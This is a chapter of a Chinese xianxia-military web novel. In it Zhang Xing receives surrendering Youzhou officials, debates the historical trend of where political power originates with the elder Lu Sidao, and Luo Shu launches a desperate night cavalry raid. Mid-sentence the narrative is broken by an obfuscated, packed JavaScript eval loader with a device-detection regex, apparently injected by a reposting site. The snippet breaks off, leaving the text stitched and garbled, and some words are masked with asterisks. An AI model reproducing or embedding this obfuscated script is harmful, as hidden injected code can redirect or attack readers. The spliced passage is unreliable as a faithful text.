甚至发生了魏文达旧部溃军尝试组织起来夺取西侧那段城墙却于街道上遭遇埋伏的戏码,至于百姓壮丁借城墙巡视机会趁机逃窜,就更不用说了。 这还只是下层**,中高层同样动荡,因为昨天晚上渔阳太守阳圭投降的消息也传来了,这无疑是一个巨大的危险信号……实际上,从这一日下午开始,张首席那里就络绎不绝了。 不过,主要是之前逃亡的将领和本地世族、豪强,掌握的部队、人口、产业,全都有限,而那些依然控制城池和成建制军队的太守、将军,以及有名的世族,却只有一个阳圭到来。 而这种情况在隔了一日,也就是三月廿四日凌晨时发生了改变。 “这个时候喊我?”张行被喊起来以后似乎有些起床气。“罗术打出来了?” “没有。”王雄诞小心道。“是有人来降……” “来降就来来降,让他们歇着,等天明就是。”张行还是有些不解。 “是一堆人络绎不绝来降,半个时辰里,断断续续有四个将军,三个太守,而且应该都是西面的居多……所以来问问首席。”王雄诞稍作解释。 “有意思。”说着,张行站起身来,便要去看看。 然而,晚春时节,夜间已经显得闷热了,张行睡的汗津津,起来后也有些燥热,衣服到了身上,居然有些黏糊糊的……可总不能光着膀子去见人,便干脆施展了寒冰真气,结果寒气一出来,又觉得皮肤紧了起来,便皱眉来问王雄诞: “城里没动静?” “没有。” “那就不见了,把他们安置到偏殿里,吃喝睡都供给上,我先睡一觉,明日再说。”张行说着,直接解开衣服便躺了下去。 王雄诞没有半点惊讶和迟疑,直接应声离开……没办法,作为可能是最熟悉这位首席做事风格的人,他可是再晓得对方脾气不过,说要睡觉,那就要睡觉,说要吃饼,就要吃饼,至尊神仙都拦不住。 实际上,王雄诞见得多也晓得多一些,这位张三爷,有些时候睡觉、吃饼是有道理的,但有些时候就是变相的立规矩,而且越是其他人觉得了不得的事情,越是贵重的人物,他越拧巴。 就是要明明白白告诉这些人,你们这些人、这些事还比不上吃饼睡觉来的重要。 不过,王雄诞本人没有半点意见,因为他很清楚,这位的傲慢只是对传统意义上的达官显贵、世族强人,对下面反而能摆的开,而作为一名出身盗匪、少年时饿肚子流浪的人,这些拧巴任性的行为其实反而让他心里暗暗有些舒坦……可是有些时候,王雄诞也会思考,到底是自己念头本来与本地排头兵出身的首席做法相合,还是跟首席久了,被反过来影响到了呢? 当然,种种小心思,已经算独立起来的王雄诞也不可能表露出来的,全程其人都面色如常,从接待那些降人到入内喊起张首席,再到出去重新安排这些人住处。 半夜无言,天亮后,张行起身,被告知城内昨夜并无异动,又被告知来降者整个凌晨络绎不绝,而且原因现在已经对上了,正是李定在上谷郡与幽州直辖的广宁郡交界处打了一场大胜仗……而很显然,那几个最先到的降人居然跑的比黜龙军的军报都快。 听得原委,张三爷却如何不晓得,局势反而更加稳妥了呢? 于是乎,其人便端起河北之主的架子来,又是洗脸又是洗头,吃了粥还要吃炸面团,然后上了厕所回来,又换上一身新的红色制式戎装。 一切打理整齐,刚刚决定召见那些人,却又有元宝存亲自赶到,兴奋告知,幽州卢氏当家人卢思道弃了清修马上亲自到了,张行竟又重新坐在了大殿前晒起了太阳,同时听马围、封常、许敬祖继续汇报情报,以作等待。 也就是这个时候,张行才知道李定这一仗是怎么打。 “内应?谁?”张首席诧异来问。 “邓龙,前幽州大营中郎将,当年李龙头还没有入帮的时候攻略襄国、赵郡,阵上打败了此人,并做収降。”许敬祖赶紧汇报。“后来在武安呆了不过半年,就又逃出去了,据说不敢回幽州,李定又苛待他,便去投奔了代郡二高,做了将领……” “哈!”张行没忍住冷笑一声。 李四这叫皇图霸业一场梦,之前是真想着扫荡河北,然后自己当皇帝呢。 许敬祖等张首席哈完,继续汇报:“这一战其实很简单,代郡二高与恒山王臣廓,还有幽州部分军将联合,幽州军将负责诱敌深入,二高与王臣廓设伏在巨马水上游对岸某处山谷,结果李龙头全军压上,却以齐泽、高士省两位暂署头领做幌子佯作渡河,主力则提前在下游先渡河,然后绕到埋伏山谷的后方,二高与王臣廓忧心后路被断,就想逃回,结果邓龙趁机易帜,贼人几乎全军覆没……具体战果,过两日应该就要到了。” “没有后顾之忧的李四郎,隐约有军神之态了。”张行幽幽来言。 “这都是首席慧眼识英雄。”封常例行拍马。“而且经此一事,河北是真的要平定了。” “李四郎可不是会被埋没的那种人才。”张行幽幽叹道。“时逢乱世,生出他这种人,简直是天意感化了。” 倒是没提什么河北一统。 几人还要说些什么,便看到元宝存两脚生风一般快速走来……这几日,他走的可勤快了。 而来到跟前,元宝存一拱手,便来询问:“首席,卢公到了,要不要单独见一见卢公?” “他有什么要害军情吗?”张行诧异一时。 “自然没有。”元宝存一噎,赶紧解释。“但卢公算是幽州人望所在,而且历经三朝,尽得兴衰之要,首席跟他聊聊,或许有所得。” “无妨,既然是兴衰之要,大家都来听听就是。”说着,张行摆手示意,终结了这次情报汇总。“请卢公过来,摆条凳子,也喊那些降人来吧!” 几人旋即肃然,王雄诞立即多调来了一整队甲士,须臾,秦宝也带着一众准备将入内,绕到张行身后的大殿两侧,而牛河就更不用说了,都不知道他什么时候出现的,忽然一瞟眼就看到了他。 而元宝存更是亲自选了一条最宽的条凳,仔细研究了一下位置,将之摆在了张首席坐着的大殿台阶左侧往下三个台阶的位置上,甚至稍微斜了一下。 准备妥当,他便去亲自请人,而马围也于此时驱赶着昨夜到今日为止多出来的降人们来到了临桑宫中央大殿前的广场上,而大殿台阶往前到“黜”字旗为止的空地上,则摆好了一堆条凳。 这些人见得有座位,先松了一口气,想要见礼,又被王雄诞提醒,不必行礼直接入座,也只好去做……可虽然是来投降,却也有次序的,你推我,我推你,既有人主动往后躲,还有人主动往前面凑的,折腾了好一阵子,刚刚坐下,那边元宝存领着一身道士打扮的卢思道进来,却又慌忙起身,也不敢行礼,只是束手立着,目送对方上前。 张行见到对方须发皆斑,委实年长,倒没有继续摆架子,终于也起身主动拱手行礼,口称卢公,然后一手握着对方,一手捞起摆在台阶上的条凳,随手放到正中间,然后一起坐下。 倒是让元宝存白白摆了半日。 见到此景,下面投降的人方才松了口气,也都纷纷坐下。 上面,张行与卢思道聊了几句闲话,问了对方年龄,知道对方这身道士服装只是代表离家避俗之意,并不真的侍奉哪位至尊,晓得对方也的确有个侄孙在下面坐着,便无话可说,就看向了下面的降人。 说实话,张行既晓得李定打赢了一仗,造成了震动,也知道幽州这里罗术眼瞅着穷途末路,愈发失控,据说昨日儿媳妇都差点杀了,那幽州上下自然大幅动摇,但也没想到这小半夜凑了这么多人。 从上面往下望去,竟乌泱泱坐了一大片。 “诸位可报姓名、年龄、籍贯、职务,以及个人少许经历,按照座位顺序,自左往右,自前向后,依次起身来言。”开口的是封常。 虽然刚来的时候摸黑填了表格,但降人们此时并不敢怠慢,立即依照顺序站起了第一个人: “降人田行,年五十六,幽州北平郡海阳人,原为幽州直属大宁郡太守。” 话到这里,此人明显言语酸涩:“降人在大宁,靠近苦海,地方偏狭,不晓得首席德行与黜龙帮威势,闻得罗术兵败,还想聚众抵抗,结果昨日举众欲与李龙头一战,尚未到阵前,便闻得前方已经兵败如山倒,晓得大势已去,天命在黜龙帮,乃以残部退桥山,我与本郡的韩都尉并身来降……若首席宽宏,不敢言尽犬马之劳,只求能平安归乡读书修行。” “既未交战,又是在城破、进军之前来降,自然是来去自如……若想归乡,自然可行,想留下,也必然有任用。”张行倒是大度,也算是重申了之前的条件。 按规矩来就行。 “谢过首席。” 有第一个人打样子,后面自然也顺利起来。 而细细究来,大部分都是在幽州西半部任职或者盘桓的,大部分人也都是幽州本地出身,正是张行等待许久的坐地虎……姓氏不外乎三类,一则田、高、阳、卢为主,这是幽州南麓精华所在的世族;二则以双姓为主,这是苦海过来的巫族-北地混血部落特征,跟着大周起势的;三则黑白红黄北地荡魔卫特色的简姓。 不过,待几十个人说完,张首席的注意力却例行偏了:“卢公,我晓得幽州许多郡,但如何这般多,而且许多我都对不上号,有什么说法吗?” “不瞒首席,幽州确实多郡,道理也很简单。”卢思道笑道。“就是大周、东齐、大魏,三处叠的……大周起势于晋北,所以在幽州西侧,多设了几个郡,上谷、代郡之外,还有大宁、广宁、偏城;东齐立身河北,却不能安定北地,便在燕山北麓、掷刀岭内外,设了几个军务上的边郡,安乐、辽西、北平、广阳、密云,都属于其中……甚至,如今的白狼卫、铁山卫、落钵城、柳城,都一度设郡;而等到大魏来了,一来是当时还要进取北地,二来本地军务上的世族也确实多,便干脆全取燕山内外,以范阳、渔阳、燕郡三个幽州核心大郡为腹心,一起合为一个总管州,却又保留了下面的许多小郡,这才成了眼下的局面。” 张行恍然:“可算是有人给我说清楚了,这几日我对着地图都凑不起来。” “这当然容易混,许多地方名字都改了,这个郡名给了那个城,那个城又换了地方,也就是本地人才晓得原委。”卢思道笑了笑,复又来问。“不过,不是有传闻说张首席是在铁山卫长大吗?怎么也不晓得其中渊源?” 张行苦笑:“我自北地出来,往邺城应募排头兵的时候,连《郦月传》都没读过,哪里能关心这些?” 卢思道终于讶然:“如此说来,张首席反而是天纵奇才了?这才几年……我可是听人转述过首席在红山上与大宗师、宗师的辩论,那俨然是早就心中不惑,有了自己的道了……这难道也是读《郦月传》读的?” 张行自然是没法解释,又不想拿什么黑帝点选来遮掩,便有些尴尬,只是干笑一声。 另一边,卢思道自然不晓得对方尴尬,便是晓得也无妨,因为他既然这把年纪还被抬过来,肯定是要替幽州人做个说法的,所以其人迟疑了片刻,便自行说了下去: “说到不惑有道,我就差了张首席许多。 “少年时,因为出身卢氏,又早早进学、修行,自诩天才,谁都看不起,最喜欢做的事情就是趁着春光明媚踏青出游,借着真气爬高上低。大约十六岁那年,到了掷刀岭,看见一个明显是荡魔卫的人扛着一个大石碑自北面来,说是要替换道中被山洪掩埋不知去向的古碑,因为见他一人扛碑如负无物,且那碑竟是一无字青石碑,便好奇跟上。 “结果到了地方,那人放下石碑,塞入基座,然后拿出锥子,运转真气,简直就像是写上去一般轻易刻完了字,刻完之后,还来问我:‘少年认的这些古字吗?’我本就惊异对方修为如此高深却行事这般简朴,此时再去看,果然许多字都稀里糊涂,连在一起更不知道什么意思,不由惭愧,当时就掩面而去,闭门重新修读起来。 “这一修,大周就变成东西两立了,我也已经快三十岁,就出来做官。这一次虽然对上乱世,可官却做的极为顺当,**了也有人赦免,等到东齐建制,我更是与当时的恒山王要好,他做那几年皇帝的时候,我自然是锦上添花,几乎算是半个南衙相公的局面,修为也早早凝丹,开始观想外物……人生之种种精彩,多在那些年。 “只不过,东齐皇室自相残杀,又惯用佞幸,几年之后便是急转直下,我几次入狱,几乎身死,后来虽逃出性命来,腿脚却因被多次打断落下病症,修为也卡住不前,再加上失势之后常常被人刻意羞辱,就重新归乡读书,顺便教育乡里。 “再后来,大魏来了,我也已经五旬过半,只是看到天下有一统之象,又有了一些志气,便不顾廉耻,主动上书求官。本以为家门、名望、经验都在这里,而且在西都陛见大魏开国那位时列写诗文,我也是当时入朝文士第一,想着总能给个入朝为官重用的格局,却只是让我去做武阳太守…… “我当时就晓得,大魏果然是如传闻般关陇为本,是不可能真正用我的,便在做了两年太守后,弃官归家,穿了道袍,只在乡野中一座小黑帝观中研磨古代碑刻。” 话到这里,靠着武阳郡割据,然后混到眼下局面的前大周皇室后裔元宝存差点没掌住……好嘛,自己心心念念的宝物、根基,是人家弃之如遗的玩意,是不被重用,是被不公平对待的明证。 卢思道可不管元宝存怎么想,其人一气说完,便来询问张行:“张首席,你说我这一辈子活了七十多岁,历经三朝,少年时无知倒也罢了,怎么大半辈子都不顺心呢,以至于白发苍苍、十指如干姜,都不知道自己道在何方呢?” 张行笑了一下,下面许多降人也都盯住了这位首席。 很显然,卢思道这番话既是自叙,又是埋怨,还是询问,是代整个幽州的文武世族们来自叙、埋怨与询问,是想知道张首席治下,他们会是个什么情况? 有什么**前途? 难道还要受欺负? 当然,或许也有点**的意思,毕竟,三朝尽去,幽州似乎还是幽州人的幽州。 不过,这番话好就好在,卢思道没有说一丁点谎言,他所陈述的都是他个人的真实经历,没有任何添油加醋,而且虽然问的隐晦,却又让人避无可避。 这个时候逃避这个问题,你们黜龙帮想干什么? 张行笑完之后,果然也没有继续拖延,而是直接开口,却又语出惊人:“我觉得卢公的经历,实属寻常,皆是时势使然。” 卢思道眉毛一跳,却知道对方言语未尽,且本身修养足够,所以没有打断。 “我其实也有与卢公类似的经历,但不是什么仕途经济,而是心境浮沉。”张行继续缓缓言道,笑意不减。“我年轻时遇到不平事,总觉得自己若能持其强盛取而代之,必能做的好;后来在东都厮混了几年,看到了中枢最腌臜的一面,便怒气盈天,恨不能扫荡天下清,再立一番新天地;只不过,这不是自己真来**了吗?便又晓得,凡事皆有初,一初叠一初,世事浮沉,皆是自古以来一件件事一个个人叠起来的,人居于其中,想要有所作为,一来要尊重过往,顺势而为,二来要理清头绪,弄清楚脉络,才能对症下药,增添一些好的脉络出来……” “这是不是首席红山上关于‘努力行事’的道理?”卢思道脱口道。“只要不停做好事、新事,使人间繁盛的事,那世道虽有周折,但一定会变好。” “正是这个,卢公果然是真曾听过我的话。”张行笑的更开心了。 “那敢问,首席所言时势使然,又是哪一个脉络使然,首席又准备如何在这条脉络里加新东西呢?”卢思道追问了起来。 “很简单,卢公三朝之不顺,在我看来,其实就是‘政出于何处’导致的错位问题。”坐在条凳上的张行稍微严肃了一下。 卢思道肯定是对自己的人生仔细思考回味过许多次的,而且很明显是专门研究过张首席的思想理论的,所以随着对方这句话说出来,虽然称不上虎躯一震什么的,但也瞬间有些恍惚之态。 至于下面的这些幽州降人,就反应不一了……肯定有人能反应过来这是在说什么,但肯定也有人糊涂,而且肯定有人懂装不糊涂,有人糊涂装懂。 再加上在场的黜龙军精英们大多需要板着脸,倒是更加显得气氛古怪了。 “三辉四御……白帝爷之前的历史脉络只有大概,咱们就不说了,只从四御归位之后来讲。”张行娓娓道来。“先是白帝爷一统之业未竟,天下分崩,列国封疆,到了《郦月传》的时候,祖帝与双骄并争,虽掷刀成岭,大业崩塌,但到底是取了天下大廓,就有了唐皇继业……到此为止,天下政令,其实一直是在从封建地方转移到中央的,从贵族人治转移到文法吏的文书治天下的。 “而又因为自古以来都是家天下,所以,实际上可以说,政出于皇帝。” “说的好!”卢思道拊掌认可。 “但是,政出于皇帝,皇帝也只是一人,一人之善,天下大善,一人之恶……这个就不举例子了,曹彻尸骨还未寒呢……再加上文法吏、文修、武修,本就天然有力,有力之士逢皇帝作恶,就造成了前唐的**大溃,然后地方割据,衣冠南渡,而从前唐后期渐衰,一直到大周出现,这个时候天下的走向是‘政出于家门’。”话到这里,张行看了看身侧的卢思道,语调提高了不少。“卢公以为如何?” “是有道理的。”卢思道想了一想,点点头。“政出于皇帝闹得天下大乱,便归于有力的文修、武修、文法吏,而他们又没有自己的朝廷,便以家门宗族为限,借着朝廷的壳,以作政令……正是前唐衰亡以及后面乱局中的走向。” “正是如此,只不过乱了两百年,天下人终于意识到,政出于家门,竟然比政出于皇帝还要差劲。”张行喟然道。“政出于皇帝,或许十个里还能遇到一两个好皇帝,政出于家门,四处都是一般黑; “政出于皇帝,只要供奉一人便可,政出于家门,便要供奉所有世族门阀; “政出于皇帝,平民百姓还有些许机会能逢君之恶,政出于家门,连寒门都不能登堂**; “更要命的是,昔日之所以能成政出于皇帝这个局面,不是人们拼了命的要把这个政塞给皇帝,而是列国纷争,无地不战,无日不战,战争本身就是天下最大的恶政,必须要用一体之政来避免这种各处纷争,而现在政出于家门,天下人竟是用两百年的凋敝、**的僵尸来重新认识到统一的必要,于是自大周以来,天下就开始从政出于家门,渐渐转回来政出于皇帝。 “卢公,大周、东齐、大魏,你自家想一想,便是中间多少离奇故事,多少豪杰英雄,是不是就是这个转变的趋势?” 卢思道沉默良久,方才缓缓来言:“是……确实是这个趋势,世族一日日无力,皇帝一日日权重,便是有关陇诸族,也不知道换了多少茬,也还是皇帝一日日权重;就连东齐这里,也是晋地军族、河北世族一起渐渐让位于皇帝之权……总体上就是这个趋势,张首席,你果然是个天纵之才,我一辈子没窥破的东西,到了你这里却一语道破。” 张行不置可否,只宽慰道:“卢公只是身在局中罢了……你出生前,两百年的走势都是政出于家门,何况本就是天下一等一的世族出身,自然以此为金科玉律,然后从出仕开始,却恰好遇到了天下大势的更易,走了下坡路,而这个下坡路对我这种小子来说自然是大势所趋,可于你本人而言竟是生死荣辱……哪里能轻易摆脱?” “我后半生常常想,为什么东齐那些贵人要一次次刻意羞辱我?为什么宁可用奸佞,也不用我?这竟然是合乎天道的吗?”卢思道言语艰难起来。“是我活该受辱?” “卢公这就想多了,掌权者羞辱世族以作打压,固然是寻常手段,但无故辱人总是不对的。”张行笑道。“大势是大势,现实是现实……但无论如何,时代变了,总是对的。” 卢思道低头好久才缓过来,然后一声叹气:“说的好,是我身在局中,走火入魔了。” 张行没有吭声。 “张首席。”卢思道叹气之后,言语清朗了许多。“若是这般我还有个问题。” “卢公请讲。” “无他,张首席既然心中看破了大势,可为什么并没有按照你所言大势去做皇帝呢?而且我听说张首席此番北讨,专门起了一面规制极大的大旗,唤作‘替天行道’,那敢问,张首席要行的到底是什么道?” “很简单,我想行自己的道,废‘政出于皇帝’中不好的地方,取好的地方,来个‘政出于帮’。”张行言简意赅。 “怎么讲?废什么,取什么?张首席不做皇帝了吗?” “废皇帝擅天下之利于一人这一条,取集天下为一体的中央集权,同时继续顺应天命,压制家门之政,同天下之利。”张行张口就来,没办法,都快背熟了。“至于皇帝,可以做,可以不做……如果事业有了挫折,不做皇帝不能**力量,我就做;而如果一切顺利,做不做都无所谓,反正我的志向不在此世间,而且这个皇帝也不是之前那般样子。” 卢思道深呼吸了几口气,望了望清朗的天空。 “而具体到幽州……”张行终于再度看向了那些降人。“一则,谁也不许与我做家门之政,无论文武,尚有幻想者,现在就可以走,我绝不扣押,咱们刀枪见过再说其他,省的将来再**,对咱们都不好,不要怀疑我之前族诛之言语,那就是对着幽州掌握军政的家门而言的; “二则,只要摒弃家门之政,从黜龙帮之政,就不用担心被人羞辱、打压,我视河北为根本,视天下为一体,以才德取士,不敢说绝不偏颇,但也会尽量公平。” 下方有些骚动,却无人敢言。 卢思道回过神来,主动替这些人来问:“可是张首席,要是你的道错了怎么办?” 他没有问诸如什么“后来人改了你的道怎么办”之类的,因为他早就从其他人那里听到过这位首席的许多言语和对应回答……人家不在乎,人家问心无愧,人家就是冲着超脱此世间走的。 所以,他只问了这一句。 “错了,也要行我的道,”张行坐在条凳上,如同辩论一样用极快的速度回答了这句话。“不然阶下诸位,为何至此呀?” 卢思道没有吭声。 下方降人也都无声。 周围军士、准备将、文书、参军也都沉默。 整个大殿前的空地上全都鸦雀无声。 秦宝抱着怀在后方大殿侧门前看着这一幕,心中毫无波澜……这就是他张三哥的行事方式,你要辩,他乐意辩,甚至喜欢辩,但从不指望着言语能够压服对方,也从不会动摇自己的路线与行动。 当然,从幽州人的角度来说也算是做到极致了。 秦宝甚至怀疑,即便是李定那边败了一阵,这些幽州人也会来降的,因为他们本来就没得选,只是基于幽州民风,总想着打一拳再来下拜。 打一拳胳膊折了,没奈何下过来投降,都不忘请来一位文修老者来做个软垫。 够可以的了。 想到这里,秦宝忍不住又看向了东面城墙方向……他很好奇,自己那位姨夫到底还能不能出拳? 不过很快,秦宝的遐思就被打断了。 只见上午的阳光下,那须发皆斑的卢思道从条凳上起身,走到了台阶最下面,然后转过身来,背对那些降人,面朝张行恭敬行了一礼。 身后降人们不敢怠慢,纷纷起身。 而此时,卢思道已经转过身来面朝这些幽州乡党,言辞恳切:“诸位乡里,你们请我来,我便来了,现在也可以告诉你们,黜龙帮非是一般雄图强梁,张首席更不是什么北地军汉,其人深谋大略,我平生历经三朝十余帝,见过的豪杰、英雄数不胜数,真没有如张首席这般通晓大势的,仅此一项,其人便足以立足河北,何况今日是人家兵临城下,对我们网开一面……我老了,不能再入世求新,但你们应该珍惜这个机会,听我一言,就此一拜,甘为马前卒,必胜过我早年蹉跎。” 此言一出,下方稍作耸动,随即有人直接下拜,接着惶惶然拜倒了一大片。 但也有几人没有下拜,而是束手转到一旁,低头不语。 很显然,这些人只为保命而来。 倒也无妨。 就在张首席起身还礼后,所有人都以为这个戏码就此结束时,那卢思道忽然又开口:“张首席,既然他们已经行礼,愿效犬马之劳,我有一个不情之请……既有益于张首席攻略幽州,也算是这些人为首席做下的第一份效诚,当然,也是我一点私心,想救一救人。” 张行听到最后,便大约醒悟,便来笑问:“卢公想让他们替我劝降谁?” “罗术不可救药,值得劝降的,自然是幽州东部诸郡与藏在那里的溃军首领,东面不是只降了一个渔阳郡太守阳圭吗?”卢思道继续拱手道。“张首席,给我们一个机会……若是明日天亮之前我们能把东面剩余四郡太守全都带来,就请把这些人也按照是今日投降来计算,省的平白送了脑袋……当然,这是我的私心,毕竟谁也不知道这幽州城何时就自溃了。” “既然卢公有言,如何不许?”张行笑道。“一言为定,若明日天亮前东部四郡太守全都来此,那你们带回来的降人全都算是现在降服的。” 就这样,中午之前,卢思道就带着人走了。 而不知道是不是卢思道的乌鸦嘴,下午时分,幽州城内也开始喧哗起来。 这么近的距离,还不断有逃人趁机翻墙出来,驻扎在城西北临桑宫的黜龙军很快就意识到发生了什么——偌大的幽州城内,幽州军在尝试换防与集结。 很显然,所有人都预料到的事情发生了——重压之下的罗术要做最后挣扎。 只是这挣扎的有些吃力,只是集合可靠兵力,就在自己的大本营中引发骚乱,不免让人对他此番挣扎的成果产生怀疑。 “首席。”从高台上爬下来后,明显有些心慌的封常走到正在披挂起来的张行跟前,小心询问。“若是罗术只是虚晃一枪呢?他不是来攻击我们,只是假借攻击我们,趁机逃窜又如何呢?” 张行没有及时开口,他正在套肩甲。 也就是这时,一旁协助张行披挂的许敬祖忽然开口接道:“那就让他走嘛,他走了,幽州人心留给咱们了!这不正是首席等在这里的缘故吗?” 封常愣愣看着身前这位河北乡土后辈兼江都行在后辈兼黜龙帮文书后辈,一时失语。 他失语的不光是对方越来越具有攻击性,丝毫不顾前后顺序就要踩着自己上位的架势,更是失语于对方刚一说完,他就意识到,对方说的好像是对的。 这首席肯定就是这般想的,连着上午的那番言语,明显就是这个意思,而自己居然没有这个年轻人反应的快。 换言之,眼前这个小子,不仅有上位的野心,居然还有这个能力。 这还了得?! 混乱持续了一个下午,城池几乎失序了一小半,但是张行这里始终按兵不动,因为按照马围所言,幽州城太大了,就黜龙帮摆在行宫这里的四个营,一旦进入,反而会迅速丧失战斗力,这就显得危险了……毕竟,**的同时,罗术居然真的在城东的仓城内外组织起了一支大约四五千人的骑兵。 其中两千余人来自于城内,剩下两千多人是从城池东面各处集结而来的,一股一股的,分成了七八股抵达。 这么一支部队,兵力只是半月前幽州军气势汹汹南下时的十分之一,如今却反过来让人惊异于它的存在了。 “罗术还能拢得起这么多人?”军中实际主帅王叔勇有些诧异。 “他自己常年担任幽州大营第二中郎将,而且还有燕云十八骑做爪牙,升任总管后大都放了出去领兵,如今兵败,还有十来个尚存,也必然能带来些人……便是每人只能带来两队人,凑一起也差不多了。”马围稍作解释。 “其实无所谓。”王叔勇想了一下,倒也坦然。“四五千骑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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春末时节,已经明显昼长夜短了,所以看着是傍晚,却折腾了好大一阵子天才黑了下来,而天黑之后,幽州军果然开始在上游渡河……这个时候的王五郎明显有了一些焦躁之态,他是很想从幽州城北绕过去捅这支军队屁股的,却又晓得幽州城太大了,那些人又都是本地人,绕过去后什么都来不及,不然人家也不会从容渡河了。 但是明白归明白,也不耽误他躁动。 其实,这些天看着张首席在这里钓鱼吃饼摆条凳,他心里本就大概猜到些什么,马围也主动给他讲明白了,晓得是有安排,甚至对自己来说算是照顾……不说别的,今日这些幽州降人,将来在帮里成了气候,哪个会在自己面前梗脖子? 甚至这几天文书们中间就有说法了,说徐水之战后不是进军,而是**行赏……白总管和窦龙头吃河间,单龙头和李龙头吃西北三郡,而幽州这个席面分成两边,一边是雄天王与徐副指挥在那边吃,一边正是张首席带着王五郎亲自过来吃。 所以才有元宝存上蹿下跳。 可没办法王叔勇就是觉得无聊,他就是不喜欢这种事情。 实际上他自己可能都没发觉,自从徐世英开始入职大行台后他就渐渐丧失了与对方对抗的心态,少年时修为上对抗、年轻时黑道生意上对抗、从军后军功上对抗,到现在已经渐渐没了那种劲头。 不是被生活磨平了棱角,或是说觉得追不上了,认输了。 而是压根没想过要在那个领域与对方竞争,而且,现在黜龙帮里面的豪杰太多了,即便是自己跟徐大郎都还是要紧人物,却也不足以眼里只有对方了。 要知道,不管是不是边郡,是不是小郡,可幽州郡多,以至于河北全境加一块有近三十郡,东境跟淮北又有十五个大郡,若是登州拆成原本三郡,这就是快五十个郡了,还不算名义上臣服的晋北、淮南。 之前还都紧张于张首席按兵不动,觉得他是在硬拖,如今却觉得有些快的吓人。 想到这里,焦躁起来的王五郎莫名又安定了下来,甚至有些心虚……黜龙帮这种局面,跟东齐有什么区别?而按照自己在帮里的地位排序,岂不是要比得上那些在老家口口相传的东齐名将了? 自己一个当坐地虎搞私盐的,也算是名将吗? 心中翻腾不止,面上却不觉,须臾,王五郎更是全副披挂,背着弓,扶着刀,随张首席一起立到了南面宫墙上去,来看波光粼粼的桑干水。 端是一副名将姿态。 又过了一阵子,桑干河波光粼粼的河段就不只是临桑宫南面这一段了,远远望去,下游远处对岸的地方,火把连成一片,而那一段的桑干河更是宛若火海,更壮军势。 很显然,那边已经渡河成功,正在整军。 “首席,要我走一趟吗?”牛河忽然出言。“他们没有高手,一击之下,足以挫动士气,或许有奇效也说不定。” “不是不行,但没必要。”张行想了想摇头道。“此时还跟着罗术的,总是心里有口气的,累他们一夜,让他们使尽能耐,最后都不能成,散了这口气,才好收拢。” 牛河不再言语,其余人也都不言语,只是来看。 随即,眼瞅着那支整备好的骑兵往南面去了,就更是让本部军士就地歇息起来。 另一边,幽州军渡河,多是骑兵,此时机动起来,虽只四五千骑,却宛若一条火龙一般势不可当……二十余里外的笼火城,在骑兵战术机动下,哪怕是夜间,也只是小半个时辰而已。 这似乎正是罗术此次夜袭一搏的指望所在。 黜龙军到底缺马,夜间机动只会更加逊色于幽州军骑兵,这种情况下他们分散在后勤线上屯驻兵很容易会被相对数量较多骑兵给突袭到。 然而,走了不过一刻钟,本地人的林六忽然察觉到路线不对,本就在中军的他立即打马追上前头罗术:“总管,这不是去笼火城的路!” “我知道。”罗术睥睨来答。“笼火城距离幽州城不过二十五里,必然早就有所准备,支援也肯定早在路上……打了必败!” “那我们去何处?”林六打马不停,努力让自己跟上。 “去固安!去我们老家!去找我们的老兄弟张公慎来算账!”罗术咬牙切齿,说到最后,已经是在嘶吼了。 林六在后面,依旧努力打马跟上,却已经有些恍惚了……他部分认可这个行为,从军事角度来说,既然要发挥骑兵优势,打最远的固安当然没问题,只是张公慎在那里,果然免不了手足相残吗? 而且,固安是黜龙军在幽州最南边的据点,一百里的距离已经很极限了,一旦不成,还能退回来吗? 更重要的是,即便是退回来,要是天也已经亮了又如何,还能从容带着家眷逃出去吗?甚至更直接一点,家眷们应该会在四更天开始往城头汇集,要是自己这些人一直回不去,他们会如何行事? 黜龙军知道幽州军最后一支兵马奔袭百里之外,会不会直接入城? 心慌如麻,大军却如龙似火,一路向南,中间在官道上汇集后速度更快,裹在其中的林六根本没有半点作为空间,而一个时辰后,一口气奔出五十里的他们开始就地稍作安歇。 这个时候林六也下马歇息,却不免紧张不安。 罗术看到这一幕,忽然失笑:“老六,你是在担忧家眷?” 林六一惊,赶紧低头承认:“是,咱们都走了……若是去笼火城这么近,黜龙军肯定来救,顾不上城池,可若是他们发觉我们去了固安,趁机攻城如何?” “他们不会入城的。”罗术坐在那里冷笑一声道。“幽州城这么大,夜间入城必然生乱,而关键是自张行来到临桑宫我便知道,他根本没有把我放在眼里,更是早就视幽州城为囊中之物,所以根本不会在意一时……他只会明日白天再入城!” “可是,既入城……” “你放心,我来时准备好了。”罗术叹了口气。“三更的时候就会有人去汇集咱们兄弟的家眷……若是四更天我们还没有回去,他们就会逃出城去,往东面暂避,乃至直接出海去北地……老六,做好准备,若是这一击不能成,不能逼迫张行撤军的话,咱们也要弃军而走,去北地再说。” “去北地跟那个李枢再见面吗?”林六苦笑,同时心中乱跳。 “虽然尴尬,也只能如此。” “可为什么不直接走呢?还能带些兵马过去?” 罗术沉默片刻,缓缓来言:“不打黜龙贼一拳,我怕日后都无勇气与黜龙贼再做相对,那杀子之仇岂不是就要藏在心里一辈子了?” 林六心中一叹,旋即想到什么,便来正色提醒:“大哥,魏家闺女到底是你儿媳……这一次,不管是能回去,还是等咱们上了船,都放她走吧!” 罗术当即作色:“若是有孙子,也是我的孙子!如何能放手?” 林六叹了口气,似乎是觉得尴尬,就势起身:“我去看看有多少人掉队。” 罗术晓得气氛尴尬,便任由对方去了。 而林六既借着对方作色离开中军,毫不犹豫,立即去混乱的军势中去找自己约好的兄弟。 他第一个遇到的,赫然是小田。 “六哥。”满头大汗的小田也明显惊吓。“这是要去哪里?不光是我,军中上下都疑惑。” “去固安。”林六小声来对,就趁着周围士卒喧嚷之际将罗术安排家眷事宜直接告知,然后下令。“小田,我在中军,没法乱走,给你两个任务,第一,尽量寻到所有兄弟,待会上路,让他们陆续走,分开走掉头回去,按照计划行事;第二,传完话后,你马上走,偷偷走,带着十几骑先回去……回到城内,先顶着总管的命令去找家眷,包括魏家女儿,不要让他们被带走,等兄弟们汇合了,就赶紧走,一起走。” 小田喘了口气,来不及多想,立即转身去寻人。 林六望着对方背影消失在战马之后,愣了片刻,方才回转。 过了一刻钟,部队重新开始整备……但这一次,明显缓慢了许多,部队很久没有整备妥当,甚至已经军士自发来问要去何处了。 